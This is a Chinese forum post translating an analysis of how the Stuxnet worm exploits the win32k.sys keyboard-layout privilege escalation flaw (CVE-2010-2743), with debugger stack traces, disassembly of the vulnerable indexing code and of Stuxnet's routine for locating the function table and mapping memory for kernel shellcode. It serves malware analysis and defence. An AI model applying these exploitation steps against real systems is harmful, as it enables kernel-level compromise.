吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 12540|回复: 18
收起左侧

[漏洞分析] Win32k.sys键盘布局文件提权漏洞分析

  [复制链接]
riusksk 发表于 2011-5-16 09:37
本帖最后由 riusksk 于 2011-5-16 09:40 编辑

作者:Sebastien Renaud
译者:riusksk(泉哥:http://riusksk.blogbus.com

本文将向各位揭示一些关于Stuxnet蠕虫病毒的技术细节,主要旨在讲述作者是如何利用0day漏洞实现代码的通用性。文中讨论的是作者所用到的两个Windows提权漏洞之一。这一漏洞在微软发布的MS10-073升级补丁中已经修复了,但还有另一个windows任务调度(TaskScheduler)漏洞尚未修补。虽然本文将深入分析Stuxnet病毒及其执行的恶意行为,但我们仍将不会公布由来自SymantecESET的朋友所写的两份详细文档,包括其具体目录和内容。我们将主要关注下Windows Win32K.sys 键盘布局文件提权漏洞(CVE-2010-2743)并分析下Stuxnet病毒是如何使用自定义的PortableExecutable (PE)解析方式来实现代码的通用性的。

1.
漏洞分析
此漏洞存在于windows驱动文件”win32k.sys”中,当其从磁盘中加载一个键盘布局文件时,由于不正当地去索引函数指针列表,导致本地提权漏洞的产生。通常,键盘布局文件是通过”LoadKeyboardLayout()”函数来加载的,该函数其实是对win32ksyscall函数 ”NtUserLoadKeyboardLayoutEx()”的封装。下面是加载键盘布局文件后内核中的栈情况:
kd> kn
# ChildEBP RetAddr

00 b0982944 bf861cd1 win32k!SetGlobalKeyboardTableInfo
01 b0982958 bf889720win32k!ChangeForegroundKeyboardTable+0x11c
02 b0982978 bf87580ewin32k!xxxSetPKLinThreads+0x37
03 b09829f0 bf875588win32k!xxxLoadKeyboardLayoutEx+0x395
04 b0982d40 8053d658
win32k!NtUserLoadKeyboardLayoutEx+0x164
05 b0982d40 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fccc 00402347 ntdll!KiFastSystemCallRet ;(transition from user to kernel)

一旦恶意构造的键盘布局文件被win32k内核驱动加载后,恶意程序将会向键盘输入流中发送一个事件,进而有效地触发漏洞。此过程会调用”user32!SendUserInput()”函数来执行,其实,它是调用了”win32k!NtUserSendInput()””win32k!xxxKENLSProcs()”这两个函数:
kd> kn
# ChildEBP RetAddr

00 b0a5ac88 bf848c64
win32k!xxxKENLSProcs
01 b0a5aca4 bf8c355b win32k!xxxProcessKeyEvent+0x1f9
02 b0a5ace4 bf8c341bwin32k!xxxInternalKeyEventDirect+0x158
03 b0a5ad0c bf8c3299
win32k!xxxSendInput+0xa2
04 b0a5ad50 8053d658 win32k!NtUserSendInput+0xcd
05 b0a5ad50 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fd08 7e42f14c ntdll!KiFastSystemCallRet
07 0012fd7c 00401ded
USER32!NtUserSendInput+0xc
WARNING: Stack unwind information not available.Following frames may be wrong.
08 0012fdac 00401331 CVE_2010_2743+0x1ded

”win32k!xxxKENLSProcs()”函数里面,win32k驱动会去检索先前加载的键盘布局文件中的某一字节。这一字节会被置入ECX寄存器,然后作为函数指针表的索引值:
; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 -version: 5.1.2600.6003
;

.text:BF8A1F50 movzx ecx, byte ptr [eax-83h]
//
ECX
可被攻击者控制
.text:BF8A1F57 push edi
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call_aNLSVKFProc[ecx*4]     


//
索引函数数组指针

aNLSVKFProc函数数组包含有3个函数,并且后面跟随着一段字节数组:
.data:BF99C4B8 _aNLSVKFProc

dd offset _NlsNullProc@12
.data:BF99C4BC                       dd offset _KbdNlsFuncTypeNormal@12
.data:BF99C4C0                       
dd offset_KbdNlsFuncTypeAlt@12
.data:BF99C4C4 _aVkNumpad db 67h
.data:BF99C4C5                       
db 68h
.data:BF99C4C6                       
db 69h
.data:BF99C4C7                       
db 0FFh
.data:BF99C4C8                       
db 64h
.data:BF99C4C9                       
db 65h
.data:BF99C4CA                       
db 66h
.data:BF99C4CB                       
db 0FFh
.data:BF99C4CC                     

db 61h
.data:BF99C4CD                     

db 62h
.data:BF99C4CE                       
db 63h
.data:BF99C4CF                       
db 60h
.data:BF99C4D0                       
db 6Eh
.data:BF99C4D1                       
db 0
.data:BF99C4D2                       
db 0
.data:BF99C4D3                       
db 0
[...]

如果请求的索引值大于2,那么代码将会引用字节数组中的值作为指针。如果索引值为5,那么在函数”win32k!xxxKENLSProcs()”中的代码就会调用0xBF99C4CC处的指针,相当于程序将执行至0x60636261
kd> dds win32k!aNLSVKFProc L6
bf99c4b8 bf9332cawin32k!NlsSendBaseVk            
//
index0
bf99c4bc bf93370cwin32k!KbdNlsFuncTypeNormal
//
index 1
bf99c4c0 bf933752win32k!KbdNlsFuncTypeAlt      
//
index2
bf99c4c4ff696867                                               
//
index3
bf99c4c8ff666564                                               
//
index4
bf99c4cc60636261                                             
//
index5
[...]


2.
通过PE解析提高代码执行的通用性
aNLSVKFProc函数数组未被引用输出时,为了获得可在各个”win32k.sys”驱动版本上执行恶意代码的通用性,Stuxnet作者必须确保索引数据位于aNLSVKFProc数组之外,并且指向一个可控制的有效指针,然后执行”call”指令。为了达到上述目的,Stuxnetexploit解析Win32K.sys文件时使用以下方法:

以平面数据文件(flatdata file,即无格式文件)的形式加载win32k.sys
获取PE头相关信息(块数,输出表数据目录和输入表数据目录等等);
获取时间戳信息;
获取.data节段虚拟地址;
获取.data节段信息;
获取.text节段虚拟地址;
获取.text节段信息;
搜索特定的二进制签名;
搜索NLSVKFProcs函数数组。

Stuxnet使用一个在各”win32k.sys”驱动版本(位于Windows2000Windows XP中,并且在目标系统上安装好各服务包和补丁)上都存在的二进制签名。这一签名与”aulShiftControlCvt_VK_IBM02”变量(非输出)的前8字节相匹配,其位于二进制文件中的.data节段:
.data:BF99C4DC _aulShiftControlCvt_VK_IBM02
.data:BF99C4DC
db91h
.data:BF99C4DD
db0
.data:BF99C4DE  db3
.data:BF99C4DF  db1
.data:BF99C4E0  db90h
.data:BF99C4E1  db0
.data:BF99C4E2  db13h
.data:BF99C4E3  db1

目前已知签名:

存在于各win32k驱动版本;
具有唯一性;
在aNLSVKFProc函数数组附近。

一旦签名被找到,病毒就在偏移签名处 -1000~ +1000 字节的地址范围内,去搜索驱动中的代码块指针。如下所示,位于0xBF99C4780xBF9332CA)的指针就指向了代码段:
.data:BF99C470 07  00 00 00 00 00 00 00
CA 32 93 BF
59 1D 96 BF
.data:BF99C480 CA 32 93 BF D5 32 93 BF 0D 35 93 BF80 38 93 BF

上述数据转储若从代码的角度来看,情况如下:
.data:BF99C470 _fNlsKbdConfiguration db 7

.data:BF99C471                    align 8
.data:BF99C478_aNLSKEProc                dd
offset _NlsNullProc@12
.data:BF99C47Coff_BF99C47C              dd offset _NlsLapseProc@12
.data:BF99C480                                    dd offset _NlsNullProc@12

[...]

当这样的指针被找到后,病毒将遵循以下条件进行处理(记住,当前代码停在0xBF99C478,我们称之为”pLoc”):
- pLoc[0] pLoc[2] 必须是同一指针:

.data:BF99C478_aNLSKEProc               dd
offset _NlsNullProc@12
.data:BF99C47Coff_BF99C47C             dd offset _NlsLapseProc@12
.data:BF99C480                                   dd
offset _NlsNullProc@12

- pLoc[0]pLoc[1] 必须非同一指针:
.data:BF99C478_aNLSKEProc               dd
offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C             dd
offset _NlsLapseProc@12
.data:BF99C480                                   dd offset _NlsNullProc@12

- pLoc[0]pLoc[3] 必须非同一指针:
.data:BF99C478_aNLSKEProc               dd
offset _NlsNullProc@12
.data:BF99C47Coff_BF99C47C             dd offset _NlsLapseProc@12
.data:BF99C480                                   dd offset _NlsNullProc@12

.data:BF99C484                                   dd
offset _NlsSendParamVk@12

满足以上条件后,病毒就基本可以确定找到”_aNLSKEProc”数组了。然而它将进一步检测该地址上的指针是否指向NlsNullProc()函数,这个通过搜索函数前几字节中的RETN 0C指令(机器码:0xC20C)即可实现:
.text:BF9332CA ; __stdcall NlsNullProc(x, x, x)
.text:BF9332CA _NlsNullProc@12 proc near

.text:BF9332CA                                 xor eax, eax
.text:BF9332CC


inceax
.text:BF9332CD


retn0Ch  
//
opcodes: 0xC2 0x0C
.text:BF9332CD _NlsNullProc@12 endp

下面是Stuxnet病毒进行机器码搜索的一段反汇编代码:
CPU Disasm
10002C5F PUSH 2
10002C61 ADD ECX,DWORD PTRSS:[LOCAL.5]   
//
ecx points to func code
10002C64 |XOR EAX,EAX

10002C66 |POPEDI                                            
//
edi= 2
10002C67 |/TEST EAX,EAX
10002C69 ||JNE SHORT 10002C7E
10002C6B ||CMP WORD PTR DS:[ECX+EDI],0CC2
//
c20c => RETN 0c
10002C71 ||SETEAL                                          
//
setAL on condition
10002C74 ||INC EDI
10002C75 ||CMPEDI,0A                                    
//
checkonly for the first 8 bytes
10002C78 |\JB SHORT 10002C67

如果找到”RETN 0C”指令,则当前代码定位在_aNLSKEProc变量中(0xBF99C478):
.data:BF99C478 _aNLSKEProc dd
offset _NlsNullProc@12

到这后,程序还会进一步搜索下一个”NlsNullProc()”函数指针:
.data:BF99C4B0                                  dd offset _NlsKanaEventProc@
.data:BF99C4B4                                 
dd offset_NlsConvOrNonConvProc@12

.data:BF99C4B8 _aNLSVKFProc:

.data:BF99C4B8                                 
dd
offset _NlsNullProc@12
.data:BF99C4BC                                 
dd offset_KbdNlsFuncTypeNormal@
.data:BF99C4C0                                 
dd offset_KbdNlsFuncTypeAlt@12

如上所见,它找到了非输出的aNLSVKFProc函数数组。为了确保变量正确,病毒又进行了两次检测:
- 在偏移 +2处的指针不为NlsNullProc:
.data:BF99C4B0                                 
dd offset _NlsKanaEventProc@
.data:BF99C4B4                                 
dd offset_NlsConvOrNonConvProc@12

.data:BF99C4B8 _aNLSVKFProc:

.data:BF99C4B8                                 
dd
offset _NlsNullProc@12
.data:BF99C4BC                                 
dd offset_KbdNlsFuncTypeNormal@
.data:BF99C4C0                                 
dd
offset _KbdNlsFuncTypeAlt@12

- 在偏移 -2 处的指针不为NlsNullProc:
.data:BF99C4B0                                 
dd
offset _NlsKanaEventProc@
.data:BF99C4B4                                 
dd offset_NlsConvOrNonConvProc@12

.data:BF99C4B8 _aNLSVKFProc:

.data:BF99C4B8                                 
dd
offset _NlsNullProc@12
.data:BF99C4BC                                 
dd offset_KbdNlsFuncTypeNormal@
.data:BF99C4C0                                 
dd offset_KbdNlsFuncTypeAlt@12

当所有的这些检测都通过后,病毒就可以完全确定它是aNLSVKFProc了。然后从该函数数组开始检测第一个用户指针:
CPU Disasm
10002B35 MOV EDI,10000                                                     //
edi = 0x10000
10002B3A /MOV ECX,DWORD PTRSS:[ARG.2]                 




//
_aNLSVKFProc
10002B3D |MOVZX EAX,BL
10002B40 |MOV ESI,DWORD PTRDS:[EAX*4+ECX]         




//esi = _aNLSVKFProc
10002B43 |CMPESI,7FFF0000                                          


//
mustbe in user space
10002B49 |JNB SHORT 10002B91
10002B4B |CMP DWORD PTR SS:[ARG.6],0
10002B4F |JNE SHORT 10002B55
10002B51 |CMPESI,EDI                                                  


//
mustbe above 0x10000
10002B53 |JB SHORT 10002B91
10002B55 |PUSH 1C
10002B57 |LEA EAX,[LOCAL.10]
10002B5A |PUSH EAX
10002B5B |PUSHESI                                                      
    //
pointer outside array
10002B5C |CALL DWORD PTRDS:[VirtualQuery_p]           

     //get page information
10002B62 |CMP EAX,1C
10002B65 |JA SHORT 10002BA7
10002B67 |CMP DWORD PTRSS:[LOCAL.6],EDI                     
//
isit a MEM_FREE page?
10002B6A |JNE SHORT 10002B91
10002B6C |PUSH 40
10002B6E |PUSH 3000
10002B73 |LEA EAX,[LOCAL.3]
10002B76 |PUSH EAX
10002B77 |PUSH 0
10002B79 |LEA EAX,[LOCAL.1]
10002B7C |PUSH EAX
10002B7D |MOV DWORD PTR SS:[LOCAL.1],ESI
10002B80 |CALL DWORD PTR DS:[GetCurrentProcess_p]
10002B86 |PUSH EAX
10002B87 |CALL DWORD PTRDS:[NtAllocateVirtualMemory_p]
//
alloc page

10002B8D |TEST EAX,EAX
10002B8F |JE SHORT 10002BB0
10002B91 |INC BL
10002B93 |CMPBL,0FF                                                         
//
i<= 255
10002B96 \JBE SHORT 10002B3A

上述代码片段是从Stuxnet反汇编代码中提取的,它先从函数指针表中获取指针(甚至是从表外获取的),然后检测该指针是否小于0x7FFF0000并大于0x10000。另外,代码还会检测内存页是否已经被映射,如果尚未映射,则分配内存页。在本例中,它将继续在地址0x60636261上分配内存:
kd> dds win32k!aNLSVKFProc L6
bf99c4b8 bf9332cawin32k!NlsSendBaseVk            //
index 0
bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal
//
index1
bf99c4c0 bf933752win32k!KbdNlsFuncTypeAlt      
//
index2
bf99c4c4ff696867                                               
//
index3
bf99c4c8ff666564                                               
//
index4
bf99c4cc 60636261                                             
//
index5
[...]

内存分配完成后,病毒将执行以下操作:

将shellcode复制到0x60636261地址上;
在键盘布局文件中保存恶意索引值(本例中值为5);
加载键盘布局文件并发送输入事件,进而触发漏洞。
最后一步是执行”win32k!xxxKENLSProcs()”函数,然后调用从函数数组中索引得到的函数指针,接着以内核权限去执行任意的shellcode代码。
; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 -version: 5.1.2600.6003
;

.text:BF8A1F50 movzx ecx, byte ptr[eax-83h]      //
ECX =5
.text:BF8A1F57 push edi
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call_aNLSVKFProc[ecx*4]           //
Call 0x60636261

正如我们所见到的,在各个操作系统版本(2000或者XP)并安装了各服务包和补丁的情况下,Stuxnet使用了特意构造的PE解析方式,进而保证了函数数组能够被稳定地找到并进行漏洞利用。

该病毒所使用的方法还可以做进一步的改进,或者采用其它不同的方式。但这一病毒的出现正如人们所预料的,它再一次证明了:病毒作者变得越来越聪明了。

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

jk影 发表于 2011-7-2 14:12
强大啊 !得回去恶补啊
yun0980 发表于 2011-7-14 08:55
sky3749 发表于 2011-7-14 22:02
di7gan 发表于 2011-7-18 08:29
在这里学习学习,,,,虽然不懂!!!!!!!
wwdboy 发表于 2011-7-18 11:34
技术相当不错
xianglishuai 发表于 2011-8-17 18:19
牛啊,可以有点看不懂啊
sunye0109 发表于 2011-8-17 23:39
在这里学习学习,,,,
987wangli 发表于 2011-10-9 20:53
收集资料我自己看看
419907395 发表于 2011-10-14 22:00
呆呆呆呆呆呆呆呆地
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-23 20:02

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表